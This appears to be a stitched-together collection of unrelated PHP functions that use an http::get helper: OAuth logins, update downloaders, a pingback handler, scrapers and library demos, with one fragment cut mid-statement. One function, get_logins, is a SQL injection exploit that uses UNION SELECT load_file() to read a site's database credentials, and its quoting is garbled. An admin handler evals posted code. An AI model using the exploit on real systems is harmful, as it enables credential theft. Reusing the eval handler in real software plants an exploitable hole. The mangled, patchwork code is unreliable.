public function fileadded($id) { $files = tfiles::i(); $item = $files->getitem($id); if ('image' != $item['media']) { return; } $fileurl = $files->geturl($id); if ($s = http::get('http://www.smushit.com/ysmush.it/ws.php?img=' . urlencode($fileurl))) { $json = json_decode($s); if (isset($json->error) || -1 === (int) $json->dest_size || !$json->dest) { return; } $div = $item['size'] - (int) $json->dest_size; if ($div / ($item['size'] / 100) < 3) { return; } $dest = urldecode($json->dest); if (!strbegin($dest, 'http')) { $dest = 'http://www.smushit.com/' . $dest; } if ($content = http::get($dest)) { return $files->setcontent($id, $content); } } }
public function processform() { $plugin = tsourcefiles::i(); if (isset($_POST['download'])) { set_time_limit(300); $version = litepublisher::$options->version; if (!(($s = http::get("http://litepublisher.googlecode.com/files/litepublisher.{$version}.tar.gz")) || ($s = http::get("http://litepublisher.com/download/litepublisher.{$version}.tar.gz")))) { return 'Error download'; } tbackuper::include_tar(); $tar = new tar(); $tar->loadfromstring($s); if (!is_array($tar->files)) { unset($tar); return 'Invalid file archive'; } tfiler::delete($plugin->root, true, false); foreach ($tar->files as $item) { $filename = $plugin->root . $item['name']; $dir = dirname($filename); if (!is_dir($dir)) { $this->mkdir($dir); } file_put_contents($filename, $item['file']); @chmod($filename, 0666); } unset($tar); $plugin->reread(); } elseif (isset($_POST['reread'])) { $plugin->reread(); } else { $plugin->root = $_POST['root']; $plugin->save(); } }
public function processform() { if (!isset($_POST['contactvalue'])) { return ''; } $time = substr($_POST['contactvalue'], strlen('_contactform')); if (time() > $time) { return $this->errmesg; } $email = trim($_POST['email']); if (!tcontentfilter::ValidateEmail($email)) { return sprintf('<p><strong>%s</strong></p>', tlocal::get('comment', 'invalidemail')); } $url = trim($_POST['site']); if (empty($url) || strbegin($url, litepublisher::$site->url)) { return $this->errmesg; } if ($s = http::get($url)) { if (!strpos($s, '<meta name="generator" content="Lite Publisher')) { return $this->errmesg; } } else { return $this->errmesg; } $content = trim($_POST['content']); if (strlen($content) <= 15) { return sprintf('<p><strong>%s</strong></p>', tlocal::get('comment', 'emptycontent')); } $content = "{$url}\n" . $_POST['sitetitle'] . "\n\n" . $content; tmailer::sendmail('', $email, '', litepublisher::$options->email, $this->subject, $content); return $this->success; }
public function __call($method, $params = array()) { $params = $params['0']; $params['action'] = $method; $params['appid'] = $this->appid; $params['format'] = 'json'; $params['datetime'] = $_SERVER['REQUEST_TIME']; $params['sign'] = $this->sign($params); //自动重试5次 防止失败! for ($i = 0; $i < 5; $i++) { $data = json_decode(http::get($this->apiurl, $params), true); if (is_array($data) && $data['status'] != 0) { break; } } if (is_array($data)) { if ($data['status'] == 1) { return $data['data']; } else { exit('采集错误!原因:' . $data['msg'] . ' 参数:<pre>' . var_export($params, true) . '</pre>'); } } else { exit('采集错误!方法' . $method . ' 参数:<pre>' . var_export($params, true) . '</pre>'); } }
public static function parse($url) { if ($s = http::get($url)) { $backuper = tbackuper::i(); $archtype = $backuper->getarchtype($url); if ($files = $backuper->unpack($s, $archtype)) { list($filename, $content) = each($files); if ($about = self::getabout($files)) { $item = new tdownloaditem(); $item->type = strbegin($filename, 'plugins/') ? 'plugin' : 'theme'; $item->title = $about['name']; $item->downloadurl = $url; $item->authorurl = $about['url']; $item->authorname = $about['author']; $item->rawcontent = $about['description']; $item->version = $about['version']; $item->tagnames = empty($about['tags']) ? '' : trim($about['tags']); if ($screenshot = self::getfile($files, 'screenshot.png')) { $media = tmediaparser::i(); $idscreenshot = $media->uploadthumbnail($about['name'] . '.png', $screenshot); $item->files = array($idscreenshot); } return $item; } } } return false; }
/** * 组装接口调用参数 并调用接口 * * @param string $api 微博API * @param array $param 调用API的额外参数 * @param string $method HTTP请求方法 默认为GET * @param bool $multi * @return string json */ public function call($api, $param = array(), $method = 'GET', $multi = false) { /* 腾讯QQ调用公共参数 */ $params = array('access_token' => $this->token); $params = array_merge($params, $param); $data = http::get($this->apiBase . $api, $params); return json_decode($data, true); }
/** * Get jsticket. * * @return string */ public function ticket() { $key = self::TICKET_CACHE_PREFIX . $this->appId; return $this->cache->get($key, function ($key) { $result = $this->http->get(self::API_TICKET); $this->cache->set($key, $result['ticket'], $result['expires_in'] - 500); return $result['ticket']; }); }
/** * Get jsticket. * * @return string */ public function getTicket() { $key = 'overtrue.wechat.jsapi_ticket.' . $this->appId; return $this->cache->get($key, function ($key) { $result = $this->http->get(self::API_TICKET); $this->cache->set($key, $result['ticket'], $result['expires_in'] - 100); return $result['ticket']; }); }
/** * 获取openid * @return mixed * @throws Exception */ public function getOpenId() { if ($this->openid) { return $this->openid; } $data = http::get($this->apiBase . 'oauth2.0/me', array('access_token' => $this->token)); $data = json_decode(trim(substr($data, 9), " );\n"), true); if (isset($data['openid'])) { $this->openid = $data['openid']; return $data['openid']; } else { throw new Exception("获取用户openid出错:{$data['error_description']}"); } }
public function request($arg) { if ($err = parent::request($arg)) { return $err; } $code = $_REQUEST['code']; $resp = http::post('https://oauth.yandex.ru/token', array('code' => $code, 'client_id' => $this->client_id, 'client_secret' => $this->client_secret, 'grant_type' => 'authorization_code')); if ($resp) { $tokens = json_decode($resp); if ($r = http::get('https://login.yandex.ru/info?format=json&oauth_token=' . $tokens->access_token)) { $info = json_decode($r); return $this->adduser(array('service' => $this->name, 'uid' => $info->id, 'email' => isset($info->default_email) ? $info->default_email : $info->emails[0], 'name' => isset($info->real_name) ? $info->real_name : $info->display_name), $info); } } return $this->errorauth(); }
public function request($arg) { if ($err = parent::request($arg)) { return $err; } $code = $_REQUEST['code']; $resp = http::post('https://accounts.google.com/o/oauth2/token', array('code' => $code, 'client_id' => $this->client_id, 'client_secret' => $this->client_secret, 'redirect_uri' => litepublisher::$site->url . $this->url, 'grant_type' => 'authorization_code')); if ($resp) { $tokens = json_decode($resp); if ($r = http::get('https://www.googleapis.com/oauth2/v1/userinfo?access_token=' . $tokens->access_token)) { $info = json_decode($r); return $this->adduser(array('service' => $this->name, 'email' => isset($info->email) ? $info->email : '', 'name' => $info->name, 'website' => isset($info->link) ? $info->link : ''), $info); } } return $this->errorauth(); }
public function request($arg) { if ($err = parent::request($arg)) { return $err; } $code = $_REQUEST['code']; $resp = http::get('https://graph.facebook.com/oauth/access_token?' . http_build_query(array('code' => $code, 'client_id' => $this->client_id, 'client_secret' => $this->client_secret, 'redirect_uri' => litepublisher::$site->url . $this->url))); if ($resp) { $params = null; parse_str($resp, $params); if ($r = http::get('https://graph.facebook.com/me?access_token=' . $params['access_token'])) { $info = json_decode($r); return $this->adduser(array('service' => $this->name, 'uid' => isset($info->id) ? $info->id : '', 'email' => isset($info->email) ? $info->email : '', 'name' => $info->name, 'website' => isset($info->link) ? $info->link : ''), $info); } } return $this->errorauth(); }
public function request($arg) { if ($err = parent::request($arg)) { return $err; } $code = $_REQUEST['code']; $resp = http::post('https://oauth.vk.com/access_token', array('code' => $code, 'client_id' => $this->client_id, 'client_secret' => $this->client_secret, 'redirect_uri' => litepublisher::$site->url . $this->url)); if ($resp) { $tokens = json_decode($resp); if ($r = http::get('https://api.vk.com/method/getProfiles?uids=' . $tokens->user_id . '&access_token=' . $tokens->access_token)) { $js = json_decode($r); $info = $js->response[0]; return $this->adduser(array('service' => $this->name, 'uid' => $info->uid, 'name' => $info->first_name . ' ' . $info->last_name, 'website' => 'http://vk.com/id' . $info->uid), $info); } } return $this->errorauth(); }
public function request($arg) { if ($err = parent::request($arg)) { return $err; } $code = $_REQUEST['code']; $resp = http::post('https://connect.mail.ru/oauth/token', array('code' => $code, 'client_id' => $this->client_id, 'client_secret' => $this->client_secret, 'redirect_uri' => litepublisher::$site->url . $this->url, 'grant_type' => 'authorization_code')); if ($resp) { $tokens = json_decode($resp); $params = array('method' => 'users.getInfo', 'app_id' => $this->client_id, 'session_key' => $tokens->access_token, 'uids' => $tokens->x_mailru_vid, 'secure' => '1', 'format' => 'json'); ksort($params); $params['sig'] = $this->sign($params, $this->client_secret); if ($r = http::get('http://www.appsmail.ru/platform/api?' . http_build_query($params))) { $js = json_decode($r); $info = $js[0]; return $this->adduser(array('uid' => $info->uid, 'email' => isset($info->email) ? $info->email : '', 'name' => $info->nick, 'website' => isset($info->link) ? $info->link : ''), $info); } } return $this->errorauth(); }
function query($args, $document) { $this->validate($args); $xml = new xml(); $get = []; foreach ($this->get as $name => $value) { $get[$name] = vars::apply_assoc($value, $args); } switch ($this->method) { case 'get': return self::to_xml(http::get($this->url, $get, $this->datasource['username'], $this->datasource['password'])); case 'post': $post = []; foreach ($this->post as $name => $value) { $post[$name] = vars::apply_assoc($value, $args); } return self::to_xml(http::post($this->url, $post, $get, $this->datasource['username'], $this->datasource['password'])); default: runtime_error('Unknown HTTP procedure method: ' . $this->method); } }
public function ping($from, $to) { if (!strbegin($to, litepublisher::$site->url)) { return new IXR_Error(0, 'Is there no link to us?'); } $url = substr($to, strlen(litepublisher::$site->url)); $urlmap = turlmap::i(); if (!($item = $urlmap->finditem($url))) { return $this->xerror(0, 'Is there no link to us?'); } if ($item['class'] != litepublisher::$classes->classes['post']) { return $this->xerror(33, 'The specified target URL cannot be used as a target. It either doesn\'t exist, or it is not a pingback-enabled resource.'); } $post = tpost::i($item['arg']); if (!$post->pingenabled || $post->status != 'published') { return $this->xerror(33, 'The specified target URL cannot be used as a target. It either doesn\'t exist, or it is not a pingback-enabled resource.'); } $pingbacks = $post->pingbacks; if ($pingbacks->exists($from)) { return new IXR_Error(48, 'The pingback has already been registered.'); } if (!($s = http::get($from))) { return new IXR_Error(16, 'The source URL does not exist.'); } $s = str_replace('<!DOC', '<DOC', $s); $s = preg_replace('/[\\s\\r\\n\\t]+/', ' ', $s); // normalize spaces if (!preg_match('|<title>([^<]*?)</title>|is', $s, $matchtitle) || empty($matchtitle[1])) { return new IXR_Error(32, 'We cannot find a title on that page.'); } $s = strip_tags($s, '<a>'); if (!preg_match("|<a([^>]+?" . preg_quote($to) . "[^>]*)>[^>]+?</a>|", $s, $match)) { return new IXR_Error(17, 'The source URL does not contain a link to the target URL, and so cannot be used as a source.'); } if (preg_match('/nofollow|noindex/is', $match[1])) { return new IXR_Error(32, 'The source URL contain nofollow or noindex atribute'); } $pingbacks->add($from, $matchtitle[1]); return "Pingback from {$from} to {$to} registered. Keep the web talking! :-)"; }
public function getfoafdom(&$foafurl) { $s = http::get($foafurl); if (!$s) { return false; } if (!$this->isfoaf($s)) { $foafurl = $this->discoverfoafurl($s); if (!$foafurl) { return false; } $s = http::get($foafurl); if (!$s) { return false; } if (!$this->isfoaf($s)) { return false; } } $dom = new domDocument(); $dom->loadXML($s); return $dom; }
$noms_talk_page->edit($noms_talk_page->content() . "\n\n{$msg}", "/* Your [[WP:GA|GA]] nomination of [[" . $currentNom . "]] */ new section"); } } unset($old_contents); // TODO: This is a lazy way of doing things, improve it $deleteQuery_title = $title; $deleteQuery->execute(); // in case it is already defined in the db $insertQuery_title = $title; $insertQuery_reviewerplain = $currentNom->getVar('reviewer'); $insertQuery_reviewer = $reviewer[1]; $insertQuery_subtopic = $currentNom->getVar('subtopic'); $insertQuery_nominator = $currentNom->getVar('nominator_plain'); $insertQuery->execute(); $gastats_q2_username = $currentNom->getVar('reviewer'); $gastats_q2_userid = $http->get("http://toolserver.org/~chris/db_api.php?action=userid&subject=" . urlencode($gastats_q2_username)); $gastats_q_article = $http->get("http://toolserver.org/~chris/db_api.php?action=pageid&subject=" . urlencode($title)); $gastats_q_subpage = $http->get("http://toolserver.org/~chris/db_api.php?action=pageid&subject=" . urlencode($reviewpage)); $gastats_q_timestamp = $currentNom->getVar('unixtime'); $gastats_q_user = $gastats_q2_userid; $gastats_q->execute(); $gastats_q2->execute(); $gastats_q3_id = $gastats_q_article; $gastats_q3_title = $title; $gastats_q3_status = ''; $gastats_q3->execute(); $set = false; foreach ($gaStats as $key => $values) { if ($values[0] == $gastats_q2_username) { $gaStats[$key][1]++; $set = true;
public function get_album_story_list($url = '') { if (!$url) { return array(); } $content = http::get($url); $intro = http::sub_data($content, '<div id="video_word">', '</div>'); $intro = http::remove_n(trim($intro)); $cover = http::sub_data($content, '<div id="infoImg">', '</div>'); $cover = http::sub_data($cover, 'src="', '"'); preg_match_all('/<audio [\\s|\\S]*?<\\/audio>/', $content, $audio_list); preg_match_all('/<ul [\\s|\\S]*?<\\/ul>/', $content, $title_list); preg_match_all('/<li [\\s|\\S]*?<\\/li>/', $title_list[0][0], $title_list); $audio_list = array_pop($audio_list); $title_list = array_pop($title_list); $r = array(); foreach ($title_list as $k => $v) { $title = http::sub_data($v, '>', '<'); $title = http::remove_n($title); $source_audio_url = http::sub_data($audio_list[$k], "src='", "'"); if ($title && $source_audio_url) { $r[$k]['title'] = $title; $r[$k]['intro'] = $intro; $r[$k]['cover'] = $cover; $r[$k]['source_audio_url'] = $source_audio_url; } } return $r; }
public static function install() { $dir = dirname(__FILE__) . DIRECTORY_SEPARATOR; //test write if (!file_put_contents($dir . 'test.php', ' ')) { die('Error write to test.php'); } chmod($dir . 'test.php', 0666); unlink($dir . 'test.php'); if ($version = self::getlatest()) { if (($s = http::get("http://litepublisher.googlecode.com/files/litepublisher.{$version}.tar.gz")) || ($s = http::get("http://litepublisher.com/download/litepublisher.{$version}.tar.gz"))) { $tar = new tar(); $tar->loadfromstring($s); foreach ($tar->files as $file) { $filename = $dir . str_replace('/', DIRECTORY_SEPARATOR, $file['name']); if (!self::forcedir(dirname($filename))) { die("error create folder " . dirname($filename)); } if (false === @file_put_contents($filename, $file['file'])) { die(sprintf('Error write file %s', $filename)); } @chmod($filename, 0666); } return true; } } die('Error download last release'); }
public function processform() { $files = tfiles::i(); $html = $this->html; if (empty($_GET['action'])) { $isauthor = 'author' == litepublisher::$options->group; if ($_POST['uploadmode'] == 'file') { if (isset($_FILES['filename']['error']) && $_FILES['filename']['error'] > 0) { return $html->h4(tlocal::get('uploaderrors', $_FILES['filename']['error'])); } if (!is_uploaded_file($_FILES['filename']['tmp_name'])) { return sprintf($this->html->h4red->attack, $_FILES["filename"]["name"]); } if ($isauthor && ($r = tauthor_rights::i()->canupload())) { return $r; } $overwrite = isset($_POST['overwrite']); $parser = tmediaparser::i(); $id = $parser->uploadfile($_FILES['filename']['name'], $_FILES['filename']['tmp_name'], $_POST['title'], $_POST['description'], $_POST['keywords'], $overwrite); } else { //downloadurl $content = http::get($_POST['downloadurl']); if ($content == false) { return $this->html->h2->errordownloadurl; } $filename = basename(trim($_POST['downloadurl'], '/')); if ($filename == '') { $filename = 'noname.txt'; } if ($isauthor && ($r = tauthor_rights::i()->canupload())) { return $r; } $overwrite = isset($_POST['overwrite']); $parser = tmediaparser::i(); $id = $parser->upload($filename, $content, $_POST['title'], $_POST['description'], $_POST['keywords'], $overwrite); } if (isset($_POST['idperm'])) { tprivatefiles::i()->setperm($id, (int) $_POST['idperm']); } return $this->html->h4->success; } elseif ($_GET['action'] == 'edit') { $id = $this->idget(); if (!$files->itemexists($id)) { return $this->notfound; } $files->edit($id, $_POST['title'], $_POST['description'], $_POST['keywords']); if (isset($_POST['idperm'])) { tprivatefiles::i()->setperm($id, (int) $_POST['idperm']); } return $this->html->h4->edited; } return ''; }
<?php include "http.class.php"; // Default HTTP options $http_options = array(); $http = new http($http_options); $url = "http://express.dominos.com/power/store/8130/coupon/9171"; $data = $http->get($url); print_r(json_decode($data));
function connect() { http::setCookieJar('cookie.txt'); $this->homePage = http::get('http://mobile.bet365.com'); if ($this->homePage === FALSE || empty($this->homePage)) { return FALSE; } $this->sessionId = $this->getPropData('sessionId'); if ($this->sessionId === NULL || empty($this->sessionId)) { return FALSE; } echo "Session ID: " . $this->sessionId . "\n"; $this->powConnectionDetails = $this->getPropData('ConnectionDetails'); if ($this->powConnectionDetails === NULL || empty($this->powConnectionDetails)) { return FALSE; } if (!isset($this->powConnectionDetails[0]) || !isset($this->powConnectionDetails[0]['Host'])) { return FALSE; } echo "Pow HTTPS Host: {$this->powConnectionDetails[1]['Host']}:{$this->powConnectionDetails[1]['Port']}\n"; $this->clientRn = substr(str_shuffle("0123456789"), 0, 16); echo "Pow Random Number: {$this->clientRn}\n"; $requestPow = $this->powRequest(0, array('method: 0', 'transporttimeout: 20', 'type: F', 'topic: S_' . $this->sessionId)); var_dump($requestPow); if ($requestPow === FALSE || empty($requestPow)) { return FALSE; } $data = explode($this->readItConstants['FIELD_DELIM'], $requestPow); if (empty($data) || count($data) == 0 || count($data) == 1) { return FALSE; } echo "Constant: {$data[0]}\n"; echo "Pow Session Id: {$data[1]}\n"; $this->clientId = $data[1]; $sslStatus = urlencode($this->powConnectionDetails[1]['Host'] . ':' . $this->powConnectionDetails[1]['Port']); // Inform the main site of our connection http::post('https://mobile.bet365.com/pushstatus/logpushstatus.ashx?state=true', 'sslStatus=' . $sslStatus . '&connectionID=' . $this->clientId . '&uid=' . $this->clientRn . '&connectionStatus=0&stk=' . $this->sessionId, array('X-Requested-With: XMLHttpRequest', 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8')); $requestPow = $this->powRequest(2, array('method: 1')); // Subscribe to the InPlay list $this->subscribe('OVInPlay_1_3//'); $requestPow = $this->powRequest(2, array('method: 1')); if (substr($requestPow, 0, 1) != "") { echo "Unexpected InPlay packet header"; return FALSE; } // Here we have some soccer data!!! wow!! $gameData = explode($this->readItConstants['RECORD_DELIM'], $requestPow); $gameData = explode("|", $gameData[count($gameData) - 1]); array_shift($gameData); // "F" $initialCL = $this->parameterizeLine($gameData[0]); if ($initialCL === FALSE) { return FALSE; } if ($initialCL['cmd'] != 'CL') { return FALSE; } if ($initialCL['params']['NA'] != 'Soccer') { return FALSE; } // It isn't soccer!!?? // I decided we don't need to know what damn league they're in, holy shit too much trouble $events = array(); // skip the initial CL (soccer) for ($i = 1; $i < count($gameData); $i++) { $lineData = $this->parameterizeLine($gameData[$i]); if ($lineData === FALSE) { continue; } // "EV" == EVENT // "CT" == COMPETITION_NAME // "PA" == PARTICIPANT // "MA" == MARKET // "CL" == CLASSIFICATION // "OR" == ORDER if ($lineData['cmd'] == 'EV') { //if($lineData['params']['ID'] != '1') // continue; array_push($events, $lineData['params']); } elseif ($lineData['cmd'] == 'CT') { if ($lineData['params']['NA'] == 'Coupons') { break; // It adds some kind of coupon stuff... what } } elseif ($lineData['cmd'] == 'CL') { break; // This isn't soccer m8 } } $requestPow = $this->powRequest(2, array('method: 1')); echo "Trying for ID: {$events[0]['ID']}\n"; $this->unsubscribe('OVInPlay_1_3//'); // It basically logs the data from the first soccer match found, if you want other matches loop through the array $soccerEvent = $this->getSoccerEventInformation($events[0]['ID']); var_dump($soccerEvent); return FALSE; }
public function download($version) { //if ($this->useshell) return $this->downloadshell($version); $lang = tlocal::i('service'); $backuper = tbackuper::i(); if (!$backuper->test()) { $this->result = $lang->errorwrite; return false; } if (!(($s = http::get("http://litepublisher.com/download/litepublisher.{$version}.tar.gz")) || ($s = http::get("http://litepublisher.googlecode.com/files/litepublisher.{$version}.tar.gz")))) { $this->result = $lang->errordownload; return false; } if (isset(litepublisher::$classes->memcache) && litepublisher::$classes->memcache) { litepublisher::$classes->revision_memcache++; litepublisher::$classes->save(); $kernel = litepublisher::$paths->lib . 'kernel.php'; if (tfilestorage::$memcache) { tfilestorage::$memcache->set($kernel, file_get_contents($kernel), false, 3600); } } if (!$backuper->upload($s, 'tar')) { $this->result = $backuper->result; return false; } $this->onupdated(); return true; }
<?php /********************************************************************* * Demonstrates the use of requests via proxy *********************************************************************/ header('Content-Type: text/plain'); require_once 'http.inc'; $http_client = new http(HTTP_V11, false); $http_client->host = 'www.yahoo.com'; $http_client->use_proxy('ns.crs.org.ni', 3128); if ($http_client->get('/') == HTTP_STATUS_OK) { print_r($http_client); } else { print 'Server returned ' . $http_client->status; } unset($http_client); ?>
public function processform() { $html = $this->html; switch ($this->name) { case 'service': return $this->doupdate($_POST); case 'backup': if (!$this->checkbackuper()) { return $html->h3->erroraccount; } extract($_POST, EXTR_SKIP); $backuper = tbackuper::i(); if (isset($restore)) { if (!is_uploaded_file($_FILES['filename']['tmp_name'])) { return sprintf($html->h4red->attack, $_FILES["filename"]["name"]); } if (strpos($_FILES['filename']['name'], '.sql')) { $backuper->uploaddump(file_get_contents($_FILES["filename"]["tmp_name"]), $_FILES["filename"]["name"]); } else { $url = litepublisher::$site->url; if (dbversion) { $dbconfig = litepublisher::$options->dbconfig; } $backuper->upload(file_get_contents($_FILES['filename']['tmp_name']), $backuper->getarchtype($_FILES['filename']['name'])); if (isset($saveurl)) { $storage = new tdata(); $storage->basename = 'storage'; $storage->load(); $storage->data['site'] = litepublisher::$site->data; if (dbversion) { $data->data['options']['dbconfig'] = $dbconfig; } $storage->save(); } } ttheme::clearcache(); @header('Location: http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); exit; } elseif (isset($downloadpartial)) { $filename = str_replace('.', '-', litepublisher::$domain) . date('-Y-m-d') . $backuper->getfiletype(); $content = $backuper->getpartial(isset($plugins), isset($theme), isset($lib)); $this->sendfile($content, $filename); } elseif (isset($fullbackup)) { $filename = str_replace('.', '-', litepublisher::$domain) . date('-Y-m-d') . $backuper->getfiletype(); $content = $backuper->getfull(); $this->sendfile($content, ''); } elseif (isset($sqlbackup)) { $content = $backuper->getdump(); $filename = litepublisher::$domain . date('-Y-m-d') . '.sql'; switch ($backuper->archtype) { case 'tar': tbackuper::include_tar(); $tar = new tar(); $tar->addstring($content, $filename, 0644); $content = $this->tar->savetostring(true); $filename .= '.tar.gz'; unset($tar); break; case 'zip': tbackuper::include_zip(); $zip = new zipfile(); $zip->addFile($content, $filename); $content = $zip->file(); $filename .= '.zip'; unset($zip); break; default: $content = gzencode($content); $filename .= '.gz'; break; } $this->sendfile($content, $filename); } break; case 'run': $result = eval($_POST['content']); return sprintf('<pre>%s</pre>', $result); case 'upload': $backuper = tbackuper::i(); if (!$this->checkbackuper()) { return $html->h3->erroraccount; } if (is_uploaded_file($_FILES['filename']['tmp_name']) && !(isset($_FILES['filename']['error']) && $_FILES['filename']['error'] > 0)) { $s = file_get_contents($_FILES['filename']['tmp_name']); $archtype = $backuper->getarchtype($_FILES['filename']['name']); } else { $url = trim($_POST['url']); if (empty($url)) { return ''; } if (!($s = http::get($url))) { return $html->h3->errordownload; } $archtype = $backuper->getarchtype($url); } if (!$archtype) { // local file header signature 4 bytes (0x04034b50) $archtype = strbegin($s, "PK") ? 'zip' : 'tar'; } if ($backuper->uploaditem($s, $archtype)) { return $html->h3->itemuploaded; } else { return sprintf('<h3>%s</h3>', $backuper->result); } break; } }
public function get_data($url) { $keys = $this->getkeys(); $keys['oauth_token'] = $this->token; return http::get($this->get_url($keys, $url)); }
function get_logins($addr) { $http = new http(); $data = ''; $resp = $http->get($addr . "?mode=playerinfo&player=1&playerdata[lastName][]=1"); $path = getPath($resp); $readfile = hex_encode($path); $pay = "killLimit=99999%20union%20select%20load_file({$readfile}),1,1,1,1%20--%20"; $resp = $http->post($addr . "?mode=playerinfo&player=1", '', $pay); $tmp = explode("define("DB_NAME", "", $resp); $tmp = explode(""", $tmp[1]); $data[db] = $tmp[0]; $tmp = explode("define("DB_USER", "", $resp); $tmp = explode(""", $tmp[1]); $data[name] = $tmp[0]; $tmp = explode("define("DB_PASS", "", $resp); $tmp = explode(""", $tmp[1]); $data[pass] = $tmp[0]; $tmp = explode("define("DB_ADDR", "", $resp); $tmp = explode(""", $tmp[1]); $data[addr] = $tmp[0]; $tmp = explode("define("DB_TYPE", "", $resp); $tmp = explode(""", $tmp[1]); $data[type] = $tmp[0]; return $data; }
<?php include "../http.class.php"; # our HTTP lib lets us keep a presistant connection $http = new http(); $html = $http->get("http://www.shazam.com/"); $dom = new DOMDocument(); # hide some XML errors. libxml_use_internal_errors(true); $dom->loadHTML($html); $xp = new domxpath($dom); $elements = $xp->query("/html/head/title"); #$elements = $xp->query("/html/body/div/div/div[2]/div[2]/ul"); if (!is_null($elements)) { foreach ($elements as $element) { echo $element->nodeName; $nodes = $element->childNodes; foreach ($nodes as $node) { echo $node->nodeValue . "\n"; } } }
<?php /********************************************************************* * Demonstrates the use of the get() method *********************************************************************/ require_once 'http.inc'; header('Content-Type: text/xml'); // Grab a RDF file from phpdeveloper.org and display it $http_client = new http(HTTP_V11, false); $http_client->host = 'www.phpdeveloper.org'; if ($http_client->get('/phpdev.rdf') == HTTP_STATUS_OK) { print $http_client->get_response_body(); } else { print 'Server returned ' . $http_client->status; } unset($http_client); ?>